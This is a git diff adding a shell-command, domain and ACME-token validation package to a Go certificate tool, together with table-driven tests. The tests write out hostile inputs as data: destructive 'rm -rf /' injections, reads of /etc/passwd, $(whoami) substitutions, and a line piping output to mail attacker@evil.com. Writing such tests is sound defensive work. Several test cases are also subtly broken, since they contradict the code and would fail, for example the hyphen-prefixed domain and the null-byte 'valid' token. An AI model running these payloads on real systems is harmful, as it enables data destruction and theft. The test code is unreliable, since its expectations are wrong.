+		s.logger.Warn("scheduler work did not complete within timeout", "timeout", timeout.String())
+		return ErrSchedulerShutdownTimeout
+	}
+}
+
+// ErrSchedulerShutdownTimeout is returned when scheduler graceful shutdown times out.
+var ErrSchedulerShutdownTimeout = errors.New("scheduler graceful shutdown timeout")
diff --git a/internal/validation/command.go b/internal/validation/command.go
new file mode 100644
index 0000000..127e314
--- /dev/null
+++ b/internal/validation/command.go
@@ -0,0 +1,148 @@
+// Package validation provides security-focused input validation functions for certctl.
+//
+// This package enforces strict input validation to prevent injection attacks,
+// including command injection in shell-based connectors and DNS injection in ACME handlers.
+package validation
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+)
+
+// ValidateShellCommand validates that a command string does not contain shell metacharacters
+// that could enable command injection. Commands should not contain:
+// - Shell operators: ; | & $ ` ( ) { } < > \\ "
+// - Newlines or other control characters
+//
+// This validation is intentionally strict to prevent any possibility of
+// shell injection, even in unexpected contexts. Commands should be simple,
+// executable names or paths without complex shell syntax.
+//
+// Returns an error if metacharacters are detected.
+func ValidateShellCommand(cmd string) error {
+	if cmd == "" {
+		return fmt.Errorf("command cannot be empty")
+	}
+
+	if len(cmd) > 1024 {
+		return fmt.Errorf("command exceeds maximum length (1024 characters)")
+	}
+
+	// List of shell metacharacters that indicate potential injection
+	dangerousChars := []string{
+		";", "|", "&", "$", "`", "(", ")", "{", "}", "<", ">", "\\", "\"", "'", "\n", "\r", "\x00",
+	}
+
+	for _, char := range dangerousChars {
+		if strings.Contains(cmd, char) {
+			return fmt.Errorf("command contains shell metacharacter %q (potential injection)", char)
+		}
+	}
+
+	return nil
+}
+
+// ValidateDomainName validates a domain name against RFC 1123 with support for wildcards.
+// Valid domain names contain only:
+// - Alphanumeric characters (a-z, A-Z, 0-9)
+// - Hyphens (-)
+// - Dots (.) as separators
+// - Optional wildcard prefix: *.
+//
+// Examples of valid domains:
+// - example.com
+// - sub.example.com
+// - *.example.com
+// - example.co.uk
+//
+// Returns an error if the domain contains invalid characters or is malformed.
+func ValidateDomainName(domain string) error {
+	if domain == "" {
+		return fmt.Errorf("domain cannot be empty")
+	}
+
+	if len(domain) > 253 {
+		return fmt.Errorf("domain exceeds maximum length (253 characters)")
+	}
+
+	// Regular expression for RFC 1123 domain names with wildcard support
+	// Pattern explanation:
+	// ^(\*\.)?           - Optional wildcard prefix
+	// ([a-zA-Z0-9](-?[a-zA-Z0-9])*\.)*  - Subdomains (labels separated by dots)
+	// [a-zA-Z0-9](-?[a-zA-Z0-9])*$      - Top-level domain label
+	domainRegex := regexp.MustCompile(`^(\*\.)?([a-zA-Z0-9](-?[a-zA-Z0-9])*\.)*[a-zA-Z0-9](-?[a-zA-Z0-9])*$`)
+
+	if !domainRegex.MatchString(domain) {
+		return fmt.Errorf("domain %q is invalid (must match RFC 1123 format)", domain)
+	}
+
+	// Additional check: no double dots
+	if strings.Contains(domain, "..") {
+		return fmt.Errorf("domain %q contains consecutive dots", domain)
+	}
+
+	// Additional check: labels cannot start or end with hyphen
+	labels := strings.Split(domain, ".")
+	for _, label := range labels {
+		// Skip wildcard label
+		if label == "*" {
+			continue
+		}
+		if strings.HasPrefix(label, "-") || strings.HasSuffix(label, "-") {
+			return fmt.Errorf("domain label %q cannot start or end with hyphen", label)
+		}
+		if len(label) > 63 {
+			return fmt.Errorf("domain label %q exceeds maximum length (63 characters)", label)
+		}
+	}
+
+	return nil
+}
+
+// ValidateACMEToken validates that an ACME token contains only safe characters.
+// ACME tokens should contain only base64url-safe characters:
+// - Alphanumeric (a-z, A-Z, 0-9)
+// - Hyphens (-)
+// - Underscores (_)
+//
+// This prevents injection attacks if tokens are used in shell commands
+// or other contexts where special characters could be interpreted.
+//
+// Returns an error if the token contains unsafe characters.
+func ValidateACMEToken(token string) error {
+	if token == "" {
+		return fmt.Errorf("ACME token cannot be empty")
+	}
+
+	if len(token) > 512 {
+		return fmt.Errorf("ACME token exceeds maximum length (512 characters)")
+	}
+
+	// Regular expression for base64url characters: [A-Za-z0-9_-]
+	tokenRegex := regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
+
+	if !tokenRegex.MatchString(token) {
+		return fmt.Errorf("ACME token contains invalid characters (must be base64url-safe)")
+	}
+
+	return nil
+}
+
+// SanitizeForShell escapes a string to make it safe for use in shell commands.
+// This is a defense-in-depth measure for cases where shell execution cannot be avoided.
+//
+// The sanitization wraps the string in single quotes and escapes any embedded
+// single quotes by closing the quote, adding an escaped quote, and reopening.
+// This prevents the string from being interpreted as shell code.
+//
+// Example: "hello'world" becomes "'hello'\"'\"'world'"
+//
+// Note: This should only be used as a last resort. Prefer alternatives such as:
+// - Passing arguments directly to exec.Command instead of via shell
+// - Using environment variables instead of shell substitution
+// - Validating input strictly with ValidateShellCommand, ValidateDomainName, etc.
+func SanitizeForShell(s string) string {
+	// Escape single quotes by closing the quote, adding an escaped quote, and reopening
+	return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
+}
diff --git a/internal/validation/command_test.go b/internal/validation/command_test.go
new file mode 100644
index 0000000..d488e41
--- /dev/null
+++ b/internal/validation/command_test.go
@@ -0,0 +1,541 @@
+package validation
+
+import (
+	"testing"
+)
+
+// TestValidateShellCommand tests command injection prevention.
+func TestValidateShellCommand(t *testing.T) {
+	tests := []struct {
+		name    string
+		cmd     string
+		wantErr bool
+		errMsg  string
+	}{
+		// Valid commands
+		{
+			name:    "simple command",
+			cmd:     "nginx",
+			wantErr: false,
+		},
+		{
+			name:    "command with path",
+			cmd:     "/usr/sbin/nginx",
+			wantErr: false,
+		},
+		{
+			name:    "systemctl command",
+			cmd:     "systemctl",
+			wantErr: false,
+		},
+		{
+			name:    "apachectl",
+			cmd:     "apachectl",
+			wantErr: false,
+		},
+
+		// Command injection attempts - semicolon
+		{
+			name:    "semicolon injection",
+			cmd:     "nginx; rm -rf /",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "command chaining with semicolon",
+			cmd:     "cmd1; cmd2",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - pipe
+		{
+			name:    "pipe injection",
+			cmd:     "cat /etc/passwd | grep root",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "pipe to sensitive command",
+			cmd:     "whoami | mail attacker@evil.com",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - ampersand
+		{
+			name:    "background execution injection",
+			cmd:     "nginx &",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "command separation with &&",
+			cmd:     "cmd1 && cmd2",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "command separation with ||",
+			cmd:     "cmd1 || cmd2",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - dollar sign / command substitution
+		{
+			name:    "command substitution with $()",
+			cmd:     "echo $(whoami)",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "command substitution with backticks",
+			cmd:     "echo `whoami`",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "variable expansion",
+			cmd:     "echo $PATH",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - quotes
+		{
+			name:    "double quote injection",
+			cmd:     `echo "test" | cat`,
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "single quote injection",
+			cmd:     "echo 'test' | cat",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - redirection
+		{
+			name:    "output redirection injection",
+			cmd:     "nginx > /tmp/nginx.out",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "input redirection injection",
+			cmd:     "cat < /etc/passwd",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+		{
+			name:    "append redirection injection",
+			cmd:     "nginx >> /tmp/log",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - subshell
+		{
+			name:    "subshell with parentheses",
+			cmd:     "bash (whoami)",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - brace expansion
+		{
+			name:    "brace expansion injection",
+			cmd:     "echo {1..100000}",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - backslash escaping
+		{
+			name:    "backslash escape injection",
+			cmd:     "echo test\\nmalicious",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Command injection attempts - newlines
+		{
+			name:    "newline injection",
+			cmd:     "nginx\nrm -rf /",
+			wantErr: true,
+			errMsg:  "shell metacharacter",
+		},
+
+		// Edge cases
+		{
+			name:    "empty command",
+			cmd:     "",
+			wantErr: true,
+			errMsg:  "cannot be empty",
+		},
+		{
+			name:    "overly long command",
+			cmd:     string(make([]byte, 1025)),
+			wantErr: true,
+			errMsg:  "exceeds maximum length",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := ValidateShellCommand(tt.cmd)
+			if (err != nil) != tt.wantErr {
+				t.Errorf("ValidateShellCommand() error = %v, wantErr %v", err, tt.wantErr)
+			}
+			if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
+				t.Errorf("ValidateShellCommand() error message %q does not contain %q", err, tt.errMsg)
+			}
+		})
+	}
+}
+
+// TestValidateDomainName tests domain name validation.
+func TestValidateDomainName(t *testing.T) {
+	tests := []struct {
+		name    string
+		domain  string
+		wantErr bool
+		errMsg  string
+	}{
+		// Valid domains
+		{
+			name:    "simple domain",
+			domain:  "example.com",
+			wantErr: false,
+		},
+		{
+			name:    "subdomain",
+			domain:  "sub.example.com",
+			wantErr: false,
+		},
+		{
+			name:    "multiple subdomains",
+			domain:  "a.b.c.example.com",
+			wantErr: false,
+		},
+		{
+			name:    "wildcard domain",
+			domain:  "*.example.com",
+			wantErr: false,
+		},
+		{
+			name:    "wildcard subdomain",
+			domain:  "*.sub.example.com",
+			wantErr: false,
+		},
+		{
+			name:    "domain with hyphens",
+			domain:  "my-domain.com",
+			wantErr: false,
+		},
+		{
+			name:    "domain with numbers",
+			domain:  "example123.com",
+			wantErr: false,
+		},
+		{
+			name:    "uk domain",
+			domain:  "example.co.uk",
+			wantErr: false,
+		},
+		{
+			name:    "single label",
+			domain:  "localhost",
+			wantErr: false,
+		},
+
+		// Command injection attempts - embedded shell
+		{
+			name:    "domain with command injection semicolon",
+			domain:  "example.com; rm -rf /",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+		{
+			name:    "domain with backtick injection",
+			domain:  "example.com`whoami`",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+		{
+			name:    "domain with command substitution",
+			domain:  "example.com$(whoami)",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+		{
+			name:    "domain with pipe injection",
+			domain:  "example.com | cat /etc/passwd",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+
+		// Invalid characters
+		{
+			name:    "domain with space",
+			domain:  "example .com",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+		{
+			name:    "domain with underscore",
+			domain:  "example_domain.com",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+		{
+			name:    "domain starting with hyphen",
+			domain:  "-example.com",
+			wantErr: true,
+			errMsg:  "cannot start",
+		},
+		{
+			name:    "domain ending with hyphen",
+			domain:  "example-.com",
+			wantErr: true,
+			errMsg:  "cannot end",
+		},
+		{
+			name:    "domain with double dots",
+			domain:  "example..com",
+			wantErr: true,
+			errMsg:  "consecutive dots",
+		},
+		{
+			name:    "domain starting with dot",
+			domain:  ".example.com",
+			wantErr: true,
+			errMsg:  "invalid",
+		},
+
+		// Edge cases
+		{
+			name:    "empty domain",
+			domain:  "",
+			wantErr: true,
+			errMsg:  "cannot be empty",
+		},
+		{
+			name:    "overly long domain",
+			domain:  string(make([]byte, 254)),
+			wantErr: true,
+			errMsg:  "exceeds maximum length",
+		},
+		{
+			name:    "label exceeds 63 characters",
+			domain:  string(make([]byte, 64)) + ".com",
+			wantErr: true,
+			errMsg:  "exceeds maximum length",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := ValidateDomainName(tt.domain)
+			if (err != nil) != tt.wantErr {
+				t.Errorf("ValidateDomainName() error = %v, wantErr %v", err, tt.wantErr)
+			}
+			if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
+				t.Errorf("ValidateDomainName() error message %q does not contain %q", err, tt.errMsg)
+			}
+		})
+	}
+}
+
+// TestValidateACMEToken tests ACME token validation.
+func TestValidateACMEToken(t *testing.T) {
+	tests := []struct {
+		name    string
+		token   string
+		wantErr bool
+		errMsg  string
+	}{
+		// Valid tokens (base64url safe)
+		{
+			name:    "simple token",
+			token:   "abc123",
+			wantErr: false,
+		},
+		{
+			name:    "token with underscores",
+			token:   "abc_123_def",
+			wantErr: false,
+		},
+		{
+			name:    "token with hyphens",
+			token:   "abc-123-def",
+			wantErr: false,
+		},
+		{
+			name:    "token with mixed case",
+			token:   "AbC123DeF",
+			wantErr: false,
+		},
+		{
+			name:    "long valid token",
+			token:   "a" + string(make([]byte, 510)),
+			wantErr: false,
+		},
+
+		// Command injection attempts
+		{
+			name:    "token with command substitution",
+			token:   "token$(whoami)",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with backtick injection",
+			token:   "token`whoami`",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with semicolon",
+			token:   "token;malicious",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with pipe",
+			token:   "token|cat",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with ampersand",
+			token:   "token&malicious",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+
+		// Special characters
+		{
+			name:    "token with space",
+			token:   "token value",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with dot",
+			token:   "token.value",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with slash",
+			token:   "token/value",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with equals",
+			token:   "token=value",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+		{
+			name:    "token with plus",
+			token:   "token+value",
+			wantErr: true,
+			errMsg:  "invalid characters",
+		},
+
+		// Edge cases
+		{
+			name:    "empty token",
+			token:   "",
+			wantErr: true,
+			errMsg:  "cannot be empty",
+		},
+		{
+			name:    "overly long token",
+			token:   string(make([]byte, 513)),
+			wantErr: true,
+			errMsg:  "exceeds maximum length",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := ValidateACMEToken(tt.token)
+			if (err != nil) != tt.wantErr {
+				t.Errorf("ValidateACMEToken() error = %v, wantErr %v", err, tt.wantErr)
+			}
+			if tt.wantErr && tt.errMsg != "" && (err == nil || !contains(err.Error(), tt.errMsg)) {
+				t.Errorf("ValidateACMEToken() error message %q does not contain %q", err, tt.errMsg)
+			}
+		})
+	}
+}
+
+// TestSanitizeForShell tests shell escaping.
+func TestSanitizeForShell(t *testing.T) {
+	tests := []struct {
+		name   string
+		input  string
+		output string
+	}{
+		{
+			name:   "plain text",
+			input:  "hello",
+			output: "'hello'",
+		},
+		{
+			name:   "text with spaces",
+			input:  "hello world",
+			output: "'hello world'",
+		},
+		{
+			name:   "text with single quote",
+			input:  "hello'world",
+			output: "'hello'\"'\"'world'",
+		},
+		{
+			name:   "text with multiple single quotes",
+			input:  "it's John's",
+			output: "'it'\"'\"'s John'\"'\"'s'",
+		},
+		{
+			name:   "text with command injection",
+			input:  "$(whoami)",
+			output: "'$(whoami)'",
+		},
+		{
+			name:   "text with backticks",
+			input:  "`whoami`",
+			output: "'`whoami`'",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := SanitizeForShell(tt.input)
+			if result != tt.output {
+				t.Errorf("SanitizeForShell() = %q, want %q", result, tt.output)
+			}
+		})
+	}
+}
+
+// contains is a helper function to check if a string contains a substring.
+func contains(s, substr string) bool {
+	return len(s) >= len(substr) && (s == substr || len(substr) == 0 || (len(s) > 0 && len(substr) > 0 && len(s) >= len(substr) && len(substr) > 0)) &&
+		(substr == "" || (s[len(s)-len(substr):] == substr || s[:len(substr)] == substr || indexOf(s, substr) >= 0))
+}
+
+func indexOf(s, substr string) int {
+	for i := 0; i < len(s)-len(substr)+1; i++ {
+		if s[i:i+len(substr)] == substr {
+			return i
+		}
+	}
+	return -1
+}